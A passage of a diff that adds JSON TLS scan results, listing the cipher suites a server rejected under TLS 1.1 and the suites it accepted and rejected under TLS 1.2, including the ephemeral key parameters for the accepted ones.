"is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "ADH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ADH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DH-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DH-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + } + ], + "tls_version_used": "TLS_1_1" + }, + "status": "COMPLETED" + }, + "tls_1_2_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "AES256-GCM-SHA384" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CBC_SHA256", + "openssl_name": "AES256-SHA256" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "AES256-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "AES128-GCM-SHA256" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "AES128-SHA256" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "AES128-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DES-CBC3-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "ECDHE-RSA-AES256-GCM-SHA384" + }, + "ephemeral_key": { + "curve_name": "secp384r1", + "generator": null, + "prime": null, + "public_bytes": "BGlqdKUxDQlZ/+h9z/c3BHjyzTbjcnvUIRbz3u/2Wbn0wThX/9Y4o3svkULL61Q7UnNTuXesisI/a5huMFC+5lnEvEs5U3qB9Du1BZKi+dBWv1GLZ40oVLCArBgVl+lduw==", + "size": 384, + "type_name": "ECDH", + "x": "aWp0pTENCVn/6H3P9zcEePLNNuNye9QhFvPe7/ZZufTBOFf/1jijey+RQsvrVDtS", + "y": "c1O5d6yKwj9rmG4wUL7mWcS8SzlTeoH0O7UFkqL50Fa/UYtnjShUsICsGBWX6V27" + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384", + "openssl_name": "ECDHE-RSA-AES256-SHA384" + }, + "ephemeral_key": { + "curve_name": "secp384r1", + "generator": null, + "prime": null, + "public_bytes": "BGlqdKUxDQlZ/+h9z/c3BHjyzTbjcnvUIRbz3u/2Wbn0wThX/9Y4o3svkULL61Q7UnNTuXesisI/a5huMFC+5lnEvEs5U3qB9Du1BZKi+dBWv1GLZ40oVLCArBgVl+lduw==", + "size": 384, + "type_name": "ECDH", + "x": "aWp0pTENCVn/6H3P9zcEePLNNuNye9QhFvPe7/ZZufTBOFf/1jijey+RQsvrVDtS", + "y": "c1O5d6yKwj9rmG4wUL7mWcS8SzlTeoH0O7UFkqL50Fa/UYtnjShUsICsGBWX6V27" + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES256-SHA" + }, + "ephemeral_key": { + "curve_name": "secp384r1", + "generator": null, + "prime": null, + "public_bytes": "BGlqdKUxDQlZ/+h9z/c3BHjyzTbjcnvUIRbz3u/2Wbn0wThX/9Y4o3svkULL61Q7UnNTuXesisI/a5huMFC+5lnEvEs5U3qB9Du1BZKi+dBWv1GLZ40oVLCArBgVl+lduw==", + "size": 384, + "type_name": "ECDH", + "x": "aWp0pTENCVn/6H3P9zcEePLNNuNye9QhFvPe7/ZZufTBOFf/1jijey+RQsvrVDtS", + "y": "c1O5d6yKwj9rmG4wUL7mWcS8SzlTeoH0O7UFkqL50Fa/UYtnjShUsICsGBWX6V27" + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "ECDHE-RSA-AES128-GCM-SHA256" + }, + "ephemeral_key": { + "curve_name": "prime256v1", + "generator": null, + "prime": null, + "public_bytes": "BCjA9c2oQbQmMKXdmPY5Cr1V5RDcJAax/05gSu5B76QHXqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=", + "size": 256, + "type_name": "ECDH", + "x": "KMD1zahBtCYwpd2Y9jkKvVXlENwkBrH/TmBK7kHvpAc=", + "y": "XqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=" + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "ECDHE-RSA-AES128-SHA256" + }, + "ephemeral_key": { + "curve_name": "prime256v1", + "generator": null, + "prime": null, + "public_bytes": "BCjA9c2oQbQmMKXdmPY5Cr1V5RDcJAax/05gSu5B76QHXqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=", + "size": 256, + "type_name": "ECDH", + "x": "KMD1zahBtCYwpd2Y9jkKvVXlENwkBrH/TmBK7kHvpAc=", + "y": "XqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=" + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES128-SHA" + }, + "ephemeral_key": { + "curve_name": "prime256v1", + "generator": null, + "prime": null, + "public_bytes": "BCjA9c2oQbQmMKXdmPY5Cr1V5RDcJAax/05gSu5B76QHXqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=", + "size": 256, + "type_name": "ECDH", + "x": "KMD1zahBtCYwpd2Y9jkKvVXlENwkBrH/TmBK7kHvpAc=", + "y": "XqBD9sLG5mTLQbjNViAB2e2eqvemaKcLOfgf+pMh8iI=" + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "DHE-RSA-AES256-GCM-SHA384" + }, + "ephemeral_key": { + "curve_name": null, + "generator": "Ag==", + "prime": "//////////+t+FRYortKmq/cViAnPTzx2LnFg84tNpWp4TZBFGQz+8yTnc4kmz75fS/jY2MMddj2gbICrsRhetPfHtXV/WVhJDP1H18GbtCFY2VVPe0a87VXE15/V8k1mE8McODmi3fipona8+/och3xWKE2rec1MKzKT0g6eXq8CrGCsyT7YdEIqUuyyOP7uWrat2DX9GgdT0Kj3jlN9K5W7edjcrsZCwenyO4KbXCeAvzhzffi7MA0BM0oNC9hkXL+nOmFg/+OTxIy7vKBg8P+OxtMb61zO7X8vC7CIAXFjvGDfRaDssbzSibBsu/6iGtCOGEoXJf//////////w==", + "public_bytes": "yzswCTYtD/R6+zFBbd145VirFncgJXxsXxvNxjrBq3R4DIxmNqFW1pGIAvjQnsFSm74QfFnaxxlXRc30nrhiI6zy3UP8IxlnjDumhpFC7fcFK4vKHLC6R6wXyXr70t6BrityxgvrScs0OKNWZJKk8xqkC23HMq8bc9U7qMiyayNQkDFTCchRFSnEMinPMXDOoANOlm0McCVUADVinxNYciGdPh85bAcU85zCvP0A38S9bXVqY+ucY+m20E75yNhPg6K73sF5Cve5oc8SDalha9iXD+xOo35nPlHSqnwKms/RJ0UddHwXXdKg879rAifu8V6eqoxKvHpxuwCTVNMKqQ==", + "size": 2048, + "type_name": "DH", + "x": null, + "y": null + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "DHE-RSA-AES128-GCM-SHA256" + }, + "ephemeral_key": { + "curve_name": null, + "generator": "Ag==", + "prime": "//////////+t+FRYortKmq/cViAnPTzx2LnFg84tNpWp4TZBFGQz+8yTnc4kmz75fS/jY2MMddj2gbICrsRhetPfHtXV/WVhJDP1H18GbtCFY2VVPe0a87VXE15/V8k1mE8McODmi3fipona8+/och3xWKE2rec1MKzKT0g6eXq8CrGCsyT7YdEIqUuyyOP7uWrat2DX9GgdT0Kj3jlN9K5W7edjcrsZCwenyO4KbXCeAvzhzffi7MA0BM0oNC9hkXL+nOmFg/+OTxIy7vKBg8P+OxtMb61zO7X8vC7CIAXFjvGDfRaDssbzSibBsu/6iGtCOGEoXJf//////////w==", + "public_bytes": "UWlWCRY87WX6GIIjS8widsSA9zzlzX3zXH2JtCRNVd4nCR6M7PdUUfQQEdoijtnmaLLx4v/chG5QI2o3TjKpWUwIyvMDLd8EnAfpDwjjknPW+5GhM+awtLkr8Dio8+ShLiJgIsQZwkCKeUtnpaL1KAqLUqiFqL6fVpQLqko3cd6zdHdp0MJZ7FXMrARyITTg4sK+rGsu1mxmOikm6a2v7HuHqLpJQ/2EskltoLX+4Ij+KKraJLToT3BphsnixHLKJxIxnSwoNVe9jA/YNO73aWvszh4xB0V6sumRCdoTUqy+9PB4WC8Lt/p9GPI9QmU2A6gY0b0PafKBBp/7P6z27A==", + "size": 2048, + "type_name": "DH", + "x": null, + "y": null + } + } + ], + "is_tls_version_supported": true, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_SHA", + "openssl_name": "RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_MD5", + "openssl_name": "RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_SHA256", + "openssl_name": "NULL-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_SHA", + "openssl_name": "NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_MD5", + "openssl_name": "NULL-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_IDEA_CBC_SHA", + "openssl_name": "IDEA-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256", + "openssl_name": "CAMELLIA256-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256", + "openssl_name": "CAMELLIA128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_ARIA_256_GCM_SHA384", + "openssl_name": "ARIA256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_ARIA_128_GCM_SHA256", + "openssl_name": "ARIA128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_256_CCM_8", + "openssl_name": "AES256-CCM8" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CCM", + "openssl_name": "AES256-CCM" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CCM_8", + "openssl_name": "AES128-CCM8" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CCM", + "openssl_name": "AES128-CCM" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", + "openssl_name": "EXP-RC2-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", + "openssl_name": "AECDH-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 0, + "name": "TLS_ECDH_anon_WITH_NULL_SHA", + "openssl_name": "AECDH-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "AECDH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "AECDH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "AECDH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_RSA_WITH_NULL_SHA", + "openssl_name": "ECDH-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "ECDH-RSA-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384", + "openssl_name": "ECDH-RSA-AES256-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "ECDH-RSA-AES128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "ECDH-RSA-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDH-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384", + "openssl_name": "ECDH-ECDSA-AES256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384", + "openssl_name": "ECDH-ECDSA-AES256-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256", + "openssl_name": "ECDH-ECDSA-AES128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256", + "openssl_name": "ECDH-ECDSA-AES128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256", + "openssl_name": "ECDHE-RSA-CHACHA20-POLY1305" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384", + "openssl_name": "ECDHE-RSA-CAMELLIA256-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256", + "openssl_name": "ECDHE-RSA-CAMELLIA128-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_ARIA_256_GCM_SHA384", + "openssl_name": "ECDHE-ARIA256-GCM-SHA384" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_ARIA_128_GCM_SHA256", + "openssl_name": "ECDHE-ARIA128-GCM-SHA256" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256", + "openssl_name": "ECDHE-ECDSA-CHACHA20-POLY1305" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": 